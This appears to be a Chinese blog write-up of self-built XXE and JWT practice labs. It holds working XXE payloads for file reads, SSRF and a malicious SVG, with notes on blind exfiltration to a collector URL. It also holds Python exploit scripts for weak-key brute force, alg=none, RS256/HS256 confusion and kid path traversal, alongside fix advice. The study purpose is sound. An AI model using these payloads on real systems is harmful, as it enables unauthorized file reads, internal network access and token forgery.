<?xml version="1.0"?><!DOCTYPE r [ <!ENTITY % remote SYSTEM "file:///usr/share/xml/xxe-lab.dtd"> %remote;]><r>x</r>回显
Warning: DOMDocument::loadXML(): Invalid URI: file:///nope/FLAG{xxe_file_read_3f7a} in Entity, line: 2 in /var/www/html/l3.php on line 28容器里那个 xxe-lab.dtd 干的事:读 /flag → 造一个“SYSTEM 指向 /nope/
L4 · 数据源导入(XXE → SSRF)
目标:内网服务 http://internal/admin.php。 你在宿主机上 curl 不到它 —— 试试就知道了,DNS 都不解析。
代码里的 preg_match('#^https?://#i', $url) 只约束填的那个 URL,管不住 XML 里面的实体。先直接贴 XML :
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY ssrf SYSTEM "http://internal/admin.php">]><r>&ssrf;</r>返回
FLAG{xxe_ssrf_internal_9c1d}L5 · 头像上传(SVG)
将
<?xml version="1.0" standalone="yes"?><!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag">]><svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <text x="10" y="20">&xxe;</text></svg>存成svg上传就可以得到flag
校验只看后缀,image/svg+xml 也确实是图片类型 —— 但它是 XML 文档。服务端为了生成预览把它 loadXML 了一遍,XXE 就在这一步触发。文件还会留在 uploads/ 下,成了证据。
修复
不传 LIBXML_NOENT/LIBXML_DTDLOAD,只加 LIBXML_NONET,返回(文本为空 —— 外部实体没有被加载,这正是我们要的结果)
解析前拒 DOCTYPE(最省事)> 不传 NOENT(实体不展开)> 只加 NONET(挡网络不挡 file://)。
- 解析前拒绝 DOCTYPE:
stripos($xml, '<!DOCTYPE') !== false就直接打回。业务不需要 DTD 时最省事,safe.php里可勾选验证 - 不传
LIBXML_NOENT/LIBXML_DTDLOAD:实体不展开,页面只会看到&xxe;字面量 - 加
LIBXML_NONET:只挡网络请求(外带、SSRF),file://照样能读,单独用不够 - 更彻底的是换解析方式和收窄输入:只收 JSON、限制 XML 的 schema、用不支持 DTD 的解析器
实测结论
环境:php:8.1-apache,libxml 2.9.14。
1. PHP 8.1 上 XXE 照样能用。
网上「PHP 8 之后外部实体默认关闭」的说法有歧义:默认关闭指的是不传 LIBXML_NOENT 的情况。
代码里一旦写了 loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD),file:// 照读、http:// 照请求 —— 五关全通就是证据。
反过来,safe.php 里只传 LIBXML_NONET 不传 NOENT,同一个 payload 文本直接为空,实体没被展开。
2. 报错型 payload 不能写在内部子集里。 这条不是玄学,是 XML 规范:内部子集的实体声明值里不允许出现参数实体引用。libxml 直接报
PEReferences forbidden in internal subset in Entity所以 L3 一开始打算「内部子集里拼 %file;」的思路完全走不通,必须把 DTD 放到外部
(file:// 本地 DTD,或 http:// 远程 DTD)。
3. 盲打外带会被 URI 校验拦下来。
evil.dtd 里把文件内容拼进 URL 后,libxml 会校验这个 URI:
Invalid URI: http://host:9999/collect?d=FLAG{xxe_file_read_3f7a}{}是非法 URI 字符 → 请求根本发不出去- 文件末尾的换行同理,URL 里混进裸
\n也是非法
所以 L2 的目标文件 /flag_blind 特意做成不带花括号、不带换行的一串 token。
真实环境里盲打配置文件时也是这个坑,处理办法是挑内容干净的文件,或者改用 L3 那种报错外带。
4. 接收端不能随便回包。
libxml 会把外带请求的响应体当成实体内容继续解析。回 ok 会报
internal error: xmlParseInternalSubset: error detected in Markup declaration整个 loadXML 返回 false(数据已经出去了,但解析失败)。回空体(Content-Length: 0)就正常。
L2 本来就是盲的,解析失败不影响战果 —— 但这个细节会让人误以为 payload 写错了。
5. (string)$simplexml 只取根节点的直属文本。
<order><item>flag</item></order> 强转字符串拿到的是空串,不是 flag。
L1 里必须遍历子节点。顺带一提:这也解释了很多站点「明明是 XXE 却不回显」。
6. host.docker.internal 在 macOS 上映射到 192.168.65.254。
容器侧访问宿主机的任意监听端口都通(不限于常用端口,随机高位端口实测可以)。
容器必须绑 0.0.0.0,绑 127.0.0.1 容器进不来。
7. 内网隔离靠的是「没映射端口」,不是代码里的 IP 检查。
internal/admin.php 里的来源 IP 白名单形同虚设 —— XXE 让 web 容器去请求它,
来源天然是内网地址,检查直接通过。真实内网服务也是这个逻辑。
JWT自包含令牌
“自包含”这个说法,是和传统 Session 相对立的。Session 的做法是:服务端存一份记录,客户端只拿一个编号去兑换;JWT 的做法是:服务端什么都不存,你把整份身份证明带在身上。
“自包含”的代价是:服务端不再有状态,只剩一把签名校验的锁。因此,整个 JWT 的安全性都取决于这一点,也由此产生了 JWT 的全部安全问题。
建靶场
共同目标:拿出 role=admin 的令牌,读走对应的 flag。唯一能登录的账号是 alice / alice123(普通用户)。
./setup.sh # 构建并启动docker compose down # 停止docker compose logs -f web # 看 Apache 日志- 地址:http://127.0.0.1:8898/
- flag:
flags/l1.flag~flags/l4.flag,分别挂到容器里的/flag_l1~/flag_l4
目录
jwt/├── Dockerfile # 禁掉 keys/ 的 Web 访问 + 打开 display_errors├── compose.yml # 镜像、端口、flag 挂载、启动时修权限├── setup.sh├── flags/ # 四个 flag├── src/│ ├── index.php # 导航│ ├── l1~l4.php # 四关│ ├── safe.php # 修复对照│ ├── pub.pem # L3 的公钥,故意可下载│ ├── keys/│ │ ├── default.key # L4 的正常密钥│ │ └── rsa_private.pem│ ├── inc/jwt.php # Base64URL + 签名(手搓,不用库)│ ├── inc/common.php # 账号、flag 读取、页面骨架│ └── style.css└── poc/jwt_exp.py建靶场时踩的坑
1. 私钥 600 导致 openssl_sign 静默签出空签名。
宿主机上 openssl genpkey 生成的是 -rw-------,bind mount 进容器后保留权限位,
Apache 以 www-data 运行读不到。openssl_sign 失败时不抛异常,$rawsig 就是空的,
令牌长得完全正常、只是签名段为空。
现在的处理:compose.yml 的 command 在拉起 Apache 前先 chmod 644,
l3.php 里也加了 openssl_sign 的返回值检查。
顺带一道真实教训:密钥放在 web 根目录下本身就不对,所以 keys/ 整目录被 Apache 拒掉(403)。
2. $ok = openssl_verify(...) === 1 之后又 if ($ok !== 1)。
=== 把 int 转成了 bool,true !== 1 恒为 true,于是对照页对任何令牌都报「签名校验失败」。
这种 bug 的表现很有迷惑性:攻击确实被挡住了,看着像「防护生效」,其实是逻辑写错。
定位方法是拿同一份令牌分别走 CLI 和 HTTP —— CLI 里 openssl_verify 返回 1、HTTP 却报失败,
说明差异在输入或比较,不在密码学。
L1 · 弱密钥
后台管理系统的登录入口。用 alice / alice123 登进来,看看你的令牌里写了什么
const SECRET = 'secret'。爆破方法是拿每个候选词算一次 HMAC-SHA256,
和令牌签名段做常量时间比较。HS256 的密钥是口令长度,就可以像撞库一样反复尝试:对每个候选词算一遍 HMAC,哪个和令牌第三段对上,哪个就是密钥。
tok = login("/l1.php")h, p, s = tok.split(".")for w in ["secret", "123456", "password", "admin", "jwt", "changeme", "root", "test"]: if sign(h + "." + p, w.encode()) == s: secret = w break
pay = b64d(p)pay["role"] = "admin"np = b64u(json.dumps(pay, separators=(",", ":")).encode())print(get("/l1.php", f"{h}.{np}.{sign(h + '.' + np, secret.encode())}"))运行结果
FLAG{jwt_l1_secret_was_just_secret} (爆破出密钥 secret='secret',自己签了 role=admin)拿到密钥后,你签出来的令牌和服务端签的没有任何区别,因为 HMAC 是对称的。
L2 · alg
同一个后台,但这次的密钥是随机长串,爆破这条路走不通。 注意服务端是从令牌里读 alg 的 —— 它凭什么相信你?
漏洞点
$alg = jwt_header($token)['alg'] ?? 'HS256';if ($alg === 'none') { $who = jwt_payload($token); // 直接当已验签}服务端把“用什么算法验”的决定权交给了令牌本身。你把 alg 写成 none,它就不验了。
tok = login("/l2.php")_, p, _ = tok.split(".")
pay = b64d(p)pay["role"] = "admin"
h = b64u(b'{"alg":"none","typ":"JWT"}')np = b64u(json.dumps(pay, separators=(",", ":")).encode())forged = h + "." + np + "." # 第三段空串,点号要留着print(get("/l2.php", forged))签名段要留一个空串,不能把点号删掉(explode 后第三段不存在,PHP 读到 ” 也能过);payload 的内容一个字都没被校验过,你甚至可以塞 role: “admin” 以外任意字段。
FLAG{jwt_l3_rs256_to_hs256_confusion} (RS256→HS256,HMAC 密钥用的是 451 字节的 pub.pem)L3 · 算法混淆
这次是「更安全」的 RS256:私钥签、公钥验,签名伪造不了。 公钥在这里:pub.pem(本来就该公开,不然别人怎么验签?)但服务端拿它当 HMAC 密钥用,等于把签名权发出去了。
漏洞点
if ($alg === 'HS256') { $ok = hash_equals(sign_hs256($input, $pub), $s); // $pub 就是 pub.pem 的文本}tok = login("/l3.php")_, p, _ = tok.split(".")
pay = b64d(p)pay["role"] = "admin"
pub = urlopen(B + "/pub.pem").read() # 451 字节,一字不差h = b64u(b'{"alg":"HS256","typ":"JWT"}')np = b64u(json.dumps(pay, separators=(",", ":")).encode())print(get("/l3.php", f"{h}.{np}.{sign(h + '.' + np, pub)}"))多一个换行、少了结尾的 \n,HMAC 结果就完全不同。所以别手工复制粘贴 PEM,用 urlopen 读回来的原始字节。
L4 kid 注入
支持多租户之后,密钥不再写死在代码里,而是按 kid(Key ID)去 keys/ 目录下取对应的密钥文件。
目录里现在只有一个 default.key。
漏洞点
$kid = jwt_header($token)['kid'] ?? 'default';$keyfile = __DIR__ . '/keys/' . $kid;$key = @file_get_contents($keyfile);kid 是客户端可控的字符串,直接拼进路径。往上爬四层到 /,读 dev/null。
tok = login("/l4.php")_, p, _ = tok.split(".")
pay = b64d(p)pay["role"] = "admin"
h = b64u(json.dumps({"alg": "HS256", "typ": "JWT", "kid": "../../../../dev/null"}, separators=(",", ":")).encode())np = b64u(json.dumps(pay, separators=(",", ":")).encode())print(get("/l4.php", f"{h}.{np}.{sign(h + '.' + np, b'')}"))为什么是四层:容器里 DIR 是 /var/www/html,拼出来是 /var/www/html/keys/../../../../dev/null,规范化后正好 /dev/null。选它是因为一定存在、一定可读、内容为空 —— 而空字符串恰好是 hash_hmac 能接受的密钥。
结论
才开始刷web的面试题就遇到了好多困难,看来还是不能急于求成,再沉淀一下先。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!